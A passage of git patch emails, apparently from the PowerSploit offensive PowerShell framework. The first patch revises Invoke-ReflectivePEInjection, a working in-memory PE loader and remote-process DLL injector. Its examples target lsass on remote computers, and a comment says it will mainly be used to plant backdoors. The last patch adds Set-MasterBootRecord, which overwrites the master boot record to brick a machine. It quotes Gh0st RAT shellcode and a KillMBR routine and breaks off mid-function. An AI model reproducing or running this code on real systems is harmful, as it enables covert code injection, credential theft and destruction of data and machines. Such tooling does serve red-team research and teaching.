From 03b8d5c6b40421e8ab8c3aeaacef7e95321c61db Mon Sep 17 00:00:00 2001 From: clymb3r Date: Thu, 10 Jul 2014 22:40:01 -0700 Subject: [PATCH 001/296] Bug fixes to Invoke-ReflectivePEInjection Fixed a bug where calling GetProcAddress by ordinal instead of procedure name failed. Fixed a bug where reflectively loading an EXE will cause the entry function (main()) to be called twice instead of once as expected. Added a ForceASLR flag to force ASLR to be used even if the PE file doesn't officially support ASLR. Some minor other changes. --- .../Invoke-ReflectivePEInjection.ps1 | 220 +++++++++++++----- 1 file changed, 157 insertions(+), 63 deletions(-) diff --git a/CodeExecution/Invoke-ReflectivePEInjection.ps1 b/CodeExecution/Invoke-ReflectivePEInjection.ps1 index 599212b1..9f13d809 100644 --- a/CodeExecution/Invoke-ReflectivePEInjection.ps1 +++ b/CodeExecution/Invoke-ReflectivePEInjection.ps1 @@ -33,7 +33,7 @@ Author: Joe Bialek, Twitter: @JosephBialek License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None -Version: 1.1 +Version: 1.2 .DESCRIPTION @@ -68,6 +68,12 @@ Optional, the name of the remote process to inject the DLL in to. If not injecti .PARAMETER ProcId Optional, the process ID of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this. + +.PARAMETER ForceASLR + +Optional, will force the use of ASLR on the PE being loaded even if the PE indicates it doesn't support ASLR. Some PE's will work with ASLR even + if the compiler flags don't indicate they support it. Other PE's will simply crash. Make sure to test this prior to using. Has no effect when + loading in to a remote process. .EXAMPLE @@ -93,6 +99,11 @@ Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4" .EXAMPLE +Load DemoEXE and run it locally. Forces ASLR on for the EXE. +Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4" -ForceASLR + +.EXAMPLE + Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer. Invoke-ReflectivePEInjection -PEPath DemoDLL_RemoteProcess.dll -ProcName lsass -ComputerName Target.Local @@ -191,7 +202,11 @@ Param( [Parameter(Position = 5)] [String] - $ProcName + $ProcName, + + [Parameter(Position = 6)] + [Switch] + $ForceASLR ) Set-StrictMode -Version 2 @@ -204,17 +219,21 @@ $RemoteScriptBlock = { [Byte[]] $PEBytes, - [Parameter(Position = 1, Mandatory = $false)] + [Parameter(Position = 1, Mandatory = $true)] [String] $FuncReturnType, - [Parameter(Position = 2, Mandatory = $false)] + [Parameter(Position = 2, Mandatory = $true)] [Int32] $ProcId, - [Parameter(Position = 3, Mandatory = $false)] + [Parameter(Position = 3, Mandatory = $true)] [String] - $ProcName + $ProcName, + + [Parameter(Position = 4, Mandatory = $true)] + [Bool] + $ForceASLR ) ################################### @@ -618,10 +637,10 @@ $RemoteScriptBlock = { $GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate) $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -Value $GetProcAddress - $GetProcAddressOrdinalAddr = Get-ProcAddress kernel32.dll GetProcAddress - $GetProcAddressOrdinalDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr]) - $GetProcAddressOrdinal = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressOrdinalAddr, $GetProcAddressOrdinalDelegate) - $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressOrdinal -Value $GetProcAddressOrdinal + $GetProcAddressIntPtrAddr = Get-ProcAddress kernel32.dll GetProcAddress #This is still GetProcAddress, but instead of PowerShell converting the string to a pointer, you must do it yourself + $GetProcAddressIntPtrDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([IntPtr]) + $GetProcAddressIntPtr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressIntPtrAddr, $GetProcAddressIntPtrDelegate) + $Win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddressIntPtr -Value $GetProcAddressIntPtr $VirtualFreeAddr = Get-ProcAddress kernel32.dll VirtualFree $VirtualFreeDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32]) ([Bool]) @@ -871,6 +890,20 @@ $RemoteScriptBlock = { [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value) return ([BitConverter]::ToInt64($ValueBytes, 0)) } + + + Function Get-Hex + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + $Value #We will determine the type dynamically + ) + + $ValueSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Value.GetType()) * 2 + $Hex = "0x{0:X$($ValueSize)}" -f [Int64]$Value #Passing a IntPtr to this doesn't work well. Cast to Int64 first. + + return $Hex + } Function Test-MemoryRangeValid @@ -1075,7 +1108,7 @@ $RemoteScriptBlock = { } - Function Invoke-CreateRemoteThread + Function Create-RemoteThread { Param( [Parameter(Position = 1, Mandatory = $true)] @@ -1101,7 +1134,7 @@ $RemoteScriptBlock = { #Vista and Win7 if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2))) { - Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress" + #Write-Verbose "Windows Vista/7 detected, using NtCreateThreadEx. Address of thread: $StartAddress" $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero) $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error() if ($RemoteThreadHandle -eq [IntPtr]::Zero) @@ -1112,13 +1145,13 @@ $RemoteScriptBlock = { #XP/Win8 else { - Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress" + #Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress" $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero) } if ($RemoteThreadHandle -eq [IntPtr]::Zero) { - Write-Verbose "Error creating remote thread, thread handle is null" + Write-Error "Error creating remote thread, thread handle is null" -ErrorAction Stop } return $RemoteThreadHandle @@ -1357,7 +1390,7 @@ $RemoteScriptBlock = { Throw "Unable to write shellcode to remote process memory." } - $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) if ($Result -ne 0) { @@ -1378,7 +1411,7 @@ $RemoteScriptBlock = { } else { - [IntPtr]$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions + [IntPtr]$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) if ($Result -ne 0) { @@ -1413,32 +1446,46 @@ $RemoteScriptBlock = { $RemoteDllHandle, [Parameter(Position=2, Mandatory=$true)] - [String] - $FunctionName + [IntPtr] + $FunctionNamePtr,#This can either be a ptr to a string which is the function name, or, if LoadByOrdinal is 'true' this is an ordinal number (points to nothing) + + [Parameter(Position=3, Mandatory=$true)] + [Bool] + $LoadByOrdinal ) $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) - $FunctionNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($FunctionName) - - #Write FunctionName to memory (will be used in GetProcAddress) - $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1) - $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) - if ($RFuncNamePtr -eq [IntPtr]::Zero) - { - Throw "Unable to allocate memory in the remote process" - } - [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero - $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten) - [System.Runtime.InteropServices.Marshal]::FreeHGlobal($FunctionNamePtr) - if ($Success -eq $false) - { - Throw "Unable to write DLL path to remote process memory" - } - if ($FunctionNameSize -ne $NumBytesWritten) - { - Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" - } + [IntPtr]$RFuncNamePtr = [IntPtr]::Zero #Pointer to the function name in remote process memory if loading by function name, ordinal number if loading by ordinal + #If not loading by ordinal, write the function name to the remote process memory + if (-not $LoadByOrdinal) + { + $FunctionName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($FunctionNamePtr) + + #Write FunctionName to memory (will be used in GetProcAddress) + $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1) + $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RFuncNamePtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten) + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($FunctionNameSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + } + #If loading by ordinal, just set RFuncNamePtr to be the ordinal number + else + { + $RFuncNamePtr = $FunctionNamePtr + } #Get address of GetProcAddress $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") @@ -1455,7 +1502,6 @@ $RemoteScriptBlock = { #Write Shellcode to the remote process which will call GetProcAddress #Shellcode: GetProcAddress.asm - #todo: need to have detection for when to get by ordinal [Byte[]]$GetProcAddressSC = @() if ($PEInfo.PE64Bit -eq $true) { @@ -1508,7 +1554,7 @@ $RemoteScriptBlock = { Throw "Unable to write shellcode to remote process memory." } - $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) if ($Result -ne 0) { @@ -1524,9 +1570,14 @@ $RemoteScriptBlock = { } [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + #Cleanup remote process memory $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null - $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + + if (-not $LoadByOrdinal) + { + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } return $ProcAddress } @@ -1773,34 +1824,49 @@ $RemoteScriptBlock = { while ($OriginalThunkRefVal -ne [IntPtr]::Zero) { - $ProcedureName = '' + $LoadByOrdinal = $false + [IntPtr]$ProcedureNamePtr = [IntPtr]::Zero #Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit # If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint # and doing the comparison, just see if it is less than 0 [IntPtr]$NewThunkRef = [IntPtr]::Zero - if([Int64]$OriginalThunkRefVal -lt 0) + if([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4 -and [Int32]$OriginalThunkRefVal -lt 0) + { + [IntPtr]$ProcedureNamePtr = [IntPtr]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal + $LoadByOrdinal = $true + } + elseif([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8 -and [Int64]$OriginalThunkRefVal -lt 0) { - $ProcedureName = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal + [IntPtr]$ProcedureNamePtr = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal + $LoadByOrdinal = $true } else { [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal) $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])) $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr) + $ProcedureNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ProcedureName) } if ($RemoteLoading -eq $true) { - [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionName $ProcedureName + [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionNamePtr $ProcedureNamePtr -LoadByOrdinal $LoadByOrdinal } else { - [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddress.Invoke($ImportDllHandle, $ProcedureName) + [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddressIntPtr.Invoke($ImportDllHandle, $ProcedureNamePtr) } if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero) { - Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath" + if ($LoadByOrdinal) + { + Throw "New function reference is null, this is almost certainly a bug in this script. Function Ordinal: $ProcedureNamePtr. Dll: $ImportDllPath" + } + else + { + Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath" + } } [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false) @@ -1808,6 +1874,14 @@ $RemoteScriptBlock = { $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + + #Cleanup + #If loading by ordinal, ProcedureNamePtr is the ordinal value and not actually a pointer to a buffer that needs to be freed + if ((-not $LoadByOrdinal) -and ($ProcedureNamePtr -ne [IntPtr]::Zero)) + { + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ProcedureNamePtr) + $ProcedureNamePtr = [IntPtr]::Zero + } } $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) @@ -1977,7 +2051,7 @@ $RemoteScriptBlock = { if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero) { - throw "GetCommandLine ptr null. GetCommandLineA: $GetCommandLineAAddr. GetCommandLineW: $GetCommandLineWAddr" + throw "GetCommandLine ptr null. GetCommandLineA: $(Get-Hex $GetCommandLineAAddr). GetCommandLineW: $(Get-Hex $GetCommandLineWAddr)" } #Prepare the shellcode @@ -2268,7 +2342,11 @@ $RemoteScriptBlock = { [Parameter(Position = 2, Mandatory = $false)] [IntPtr] - $RemoteProcHandle + $RemoteProcHandle, + + [Parameter(Position = 3)] + [Bool] + $ForceASLR = $false ) $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) @@ -2346,12 +2424,27 @@ $RemoteScriptBlock = { #Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address Write-Verbose "Allocating memory for the PE and write its headers to memory" + #ASLR check [IntPtr]$LoadAddr = [IntPtr]::Zero - if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) + $PESupportsASLR = ($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -eq $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE + if ((-not $ForceASLR) -and (-not $PESupportsASLR)) { - Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again" -WarningAction Continue + Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again OR try using the -ForceASLR flag (could cause crashes)" -WarningAction Continue [IntPtr]$LoadAddr = $OriginalImageBase } + elseif ($ForceASLR -and (-not $PESupportsASLR)) + { + Write-Verbose "PE file doesn't support ASLR but -ForceASLR is set. Forcing ASLR on the PE file. This could result in a crash." + } + + if ($ForceASLR -and $RemoteLoading) + { + Write-Error "Cannot use ForceASLR when loading in to a remote process." -ErrorAction Stop + } + if ($RemoteLoading -and (-not $PESupportsASLR)) + { + Write-Error "PE doesn't support ASLR. Cannot load a non-ASLR PE in to a remote process" -ErrorAction Stop + } $PEHandle = [IntPtr]::Zero #This is where the PE is allocated in PowerShell $EffectivePEHandle = [IntPtr]::Zero #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process. @@ -2393,7 +2486,7 @@ $RemoteScriptBlock = { $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle - Write-Verbose "StartAddress: $PEHandle EndAddress: $PEEndAddress" + Write-Verbose "StartAddress: $(Get-Hex $PEHandle) EndAddress: $(Get-Hex $PEEndAddress)" #Copy each section from the PE in to memory @@ -2506,7 +2599,7 @@ $RemoteScriptBlock = { Throw "Unable to write shellcode to remote process memory." } - $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) if ($Result -ne 0) { @@ -2526,7 +2619,7 @@ $RemoteScriptBlock = { #If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread # This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread. [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) - Write-Verbose "Call EXE Main function. Address: $ExeMainPtr. Creating thread for the EXE to run in." + Write-Verbose "Call EXE Main function. Address: $(Get-Hex $ExeMainPtr). Creating thread for the EXE to run in." $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null @@ -2677,11 +2770,11 @@ $RemoteScriptBlock = { $PEHandle = [IntPtr]::Zero if ($RemoteProcHandle -eq [IntPtr]::Zero) { - $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -ForceASLR $ForceASLR } else { - $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle + $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle -ForceASLR $ForceASLR } if ($PELoadedInfo -eq [IntPtr]::Zero) { @@ -2758,17 +2851,18 @@ $RemoteScriptBlock = { $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle #Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors - $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions + $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions } - #Don't free a library if it is injected in a remote process - if ($RemoteProcHandle -eq [IntPtr]::Zero) + #Don't free a library if it is injected in a remote process or if it is an EXE. + #Note that all DLL's loaded by the EXE will remain loaded in memory. + if ($RemoteProcHandle -eq [IntPtr]::Zero -and $PEInfo.FileType -ieq "DLL") { Invoke-MemoryFreeLibrary -PEHandle $PEHandle } else { - #Just delete the memory allocated in PowerShell to build the PE before injecting to remote process + #Delete the PE file from memory. $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) if ($Success -eq $false) { @@ -2831,13 +2925,13 @@ Function Main if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$") { - Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName) + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) } else { - Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName) -ComputerName $ComputerName + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) -ComputerName $ComputerName } } Main -} +} \ No newline at end of file From 2e00756b599f12c95461aca6d2fd6513b914c806 Mon Sep 17 00:00:00 2001 From: mattifestation Date: Sat, 9 Aug 2014 20:26:17 -0400 Subject: [PATCH 002/296] Removing New-Object proxy function --- README.md | 4 - ReverseEngineering/New-Object.ps1 | 90 ---------------------- ReverseEngineering/ReverseEngineering.psd1 | 2 +- 3 files changed, 1 insertion(+), 95 deletions(-) delete mode 100644 ReverseEngineering/New-Object.ps1 diff --git a/README.md b/README.md index fbcf48f2..82c198b9 100644 --- a/README.md +++ b/README.md @@ -108,10 +108,6 @@ Marshals data from an unmanaged block of memory in an arbitrary process to a new A proxy function used to extend the built-in Get-Member cmdlet. It adds the '-Private' parameter allowing you to display non-public .NET members -#### `New-Object` - -A proxy function for New-Object that accepts a CLSID with the -ComObject parameter. - #### `Get-Strings` Dumps strings from files in both Unicode and Ascii. This cmdlet replicates the functionality of strings.exe from Sysinternals. diff --git a/ReverseEngineering/New-Object.ps1 b/ReverseEngineering/New-Object.ps1 deleted file mode 100644 index 52c38c8d..00000000 --- a/ReverseEngineering/New-Object.ps1 +++ /dev/null @@ -1,90 +0,0 @@ -function New-Object -{ - [CmdletBinding(DefaultParameterSetName='Net')] - param( - [Parameter(ParameterSetName='Net', Mandatory=$true, Position=0)] - [string] - ${TypeName}, - - [Parameter(ParameterSetName='Com', Mandatory=$true, Position=0)] - [string] - ${ComObject}, - - [Parameter(ParameterSetName='Net', Position=1)] - [Alias('Args')] - [System.Object[]] - ${ArgumentList}, - - [Parameter(ParameterSetName='Com')] - [switch] - ${Strict}, - - [System.Collections.IDictionary] - ${Property}) - - begin - { - Set-StrictMode -Version 2 - - try { - $outBuffer = $null - if ($PSBoundParameters.TryGetValue('OutBuffer', [ref]$outBuffer)) - { - $PSBoundParameters['OutBuffer'] = 1 - } - - $ClsidPresent = $true - $Guid = [Guid]::NewGuid() - - try - { - $Guid = [Guid] $PSBoundParameters['ComObject'] - } - catch - { - $ClsidPresent = $false - - $wrappedCmd = $ExecutionContext.InvokeCommand.GetCommand('New-Object', [System.Management.Automation.CommandTypes]::Cmdlet) - $scriptCmd = {& $wrappedCmd @PSBoundParameters } - $steppablePipeline = $scriptCmd.GetSteppablePipeline($myInvocation.CommandOrigin) - $steppablePipeline.Begin($PSCmdlet) - } - } catch { - throw - } - } - - process - { - if ($ClsidPresent) - { - [Activator]::CreateInstance([Type]::GetTypeFromCLSID($Guid), $Property) - } - else - { - try { - $steppablePipeline.Process($_) - } catch { - throw - } - } - } - - end - { - if (!$ClsidPresent) - { - try { - $steppablePipeline.End() - } catch { - throw - } - } - } - <# - - .ForwardHelpTargetName New-Object - .ForwardHelpCategory Cmdlet - - #> -} diff --git a/ReverseEngineering/ReverseEngineering.psd1 b/ReverseEngineering/ReverseEngineering.psd1 index d9c733f1..90eec8e8 100644 --- a/ReverseEngineering/ReverseEngineering.psd1 +++ b/ReverseEngineering/ReverseEngineering.psd1 @@ -76,7 +76,7 @@ ModuleList = @(@{ModuleName = 'ReverseEngineering'; ModuleVersion = '1.0.0.0'; G FileList = 'ReverseEngineering.psm1', 'ReverseEngineering.psd1', 'Get-ILDisassembly.ps1', 'Get-NtSystemInformation.format.ps1xml', 'Get-NtSystemInformation.ps1', 'Get-Member.ps1', 'Get-MethodAddress.ps1', 'Get-PEB.format.ps1xml', 'Get-PEB.ps1', 'Get-Strings.ps1', 'Get-StructFromMemory.ps1', 'ConvertTo-String.ps1', - 'Get-Entropy.ps1', 'New-Object.ps1', 'Get-ILDisassembly.format.ps1xml', 'ProcessModuleTrace.ps1', 'Usage.md' + 'Get-Entropy.ps1', 'Get-ILDisassembly.format.ps1xml', 'ProcessModuleTrace.ps1', 'Usage.md' # Private data to pass to the module specified in RootModule/ModuleToProcess # PrivateData = '' From 258c760c61c9a5b11852580c3e007c7fcb02df3d Mon Sep 17 00:00:00 2001 From: mattifestation Date: Fri, 29 Aug 2014 21:44:14 -0400 Subject: [PATCH 003/296] Adding MBR infector Set-MasterBootRecord --- Mayhem/Mayhem.psm1 | 269 ++++++++++++++++++++++++++++++++++++++++++++- README.md | 5 + 2 files changed, 273 insertions(+), 1 deletion(-) diff --git a/Mayhem/Mayhem.psm1 b/Mayhem/Mayhem.psm1 index a8cd4246..0b4f843c 100644 --- a/Mayhem/Mayhem.psm1 +++ b/Mayhem/Mayhem.psm1 @@ -1,4 +1,271 @@ -function Set-CriticalProcess +function Set-MasterBootRecord +{ +<# +.SYNOPSIS + + Proof of concept code that overwrites the master boot record with the + message of your choice. + + PowerSploit Function: Set-MasterBootRecord + Author: Matthew Graeber (@mattifestation) and Chris Campbell (@obscuresec) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + +.DESCRIPTION + + Set-MasterBootRecord is proof of concept code designed to show that it is + possible with PowerShell to overwrite the MBR. This technique was taken + from a public malware sample. This script is inteded solely as proof of + concept code. + +.PARAMETER BootMessage + + Specifies the message that will be displayed upon making your computer a brick. + +.PARAMETER RebootImmediately + + Reboot the machine immediately upon overwriting the MBR. + +.PARAMETER Force + + Suppress the warning prompt. + +.EXAMPLE + + Set-MasterBootRecord -BootMessage 'This is what happens when you fail to defend your network. #CCDC' + +.NOTES + + Obviously, this will only work if you have a master boot record to + overwrite. This won't work if you have a GPT (GUID partition table) +#> + +<# +This code was inspired by the Gh0st RAT source code seen here (acquired from: http://webcache.googleusercontent.com/search?q=cache:60uUuXfQF6oJ:read.pudn.com/downloads116/sourcecode/hack/trojan/494574/gh0st3.6_%25E6%25BA%2590%25E4%25BB%25A3%25E7%25A0%2581/gh0st/gh0st.cpp__.htm+&cd=3&hl=en&ct=clnk&gl=us): + +// CGh0stApp message handlers + +unsigned char scode[] = +"\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c" +"\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72" +"\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29"; + +int CGh0stApp::KillMBR() +{ + HANDLE hDevice; + DWORD dwBytesWritten, dwBytesReturned; + BYTE pMBR[512] = {0}; + + // 重新构造MBR + memcpy(pMBR, scode, sizeof(scode) - 1); + pMBR[510] = 0x55; + pMBR[511] = 0xAA; + + hDevice = CreateFile + ( + "\\\\.\\PHYSICALDRIVE0", + GENERIC_READ | GENERIC_WRITE, + FILE_SHARE_READ | FILE_SHARE_WRITE, + NULL, + OPEN_EXISTING, + 0, + NULL + ); + if (hDevice == INVALID_HANDLE_VALUE) + return -1; + DeviceIoControl + ( + hDevice, + FSCTL_LOCK_VOLUME, + NULL, + 0, + NULL, + 0, + &dwBytesReturned, + NULL + ); + // 写入病毒内容 + WriteFile(hDevice, pMBR, sizeof(pMBR), 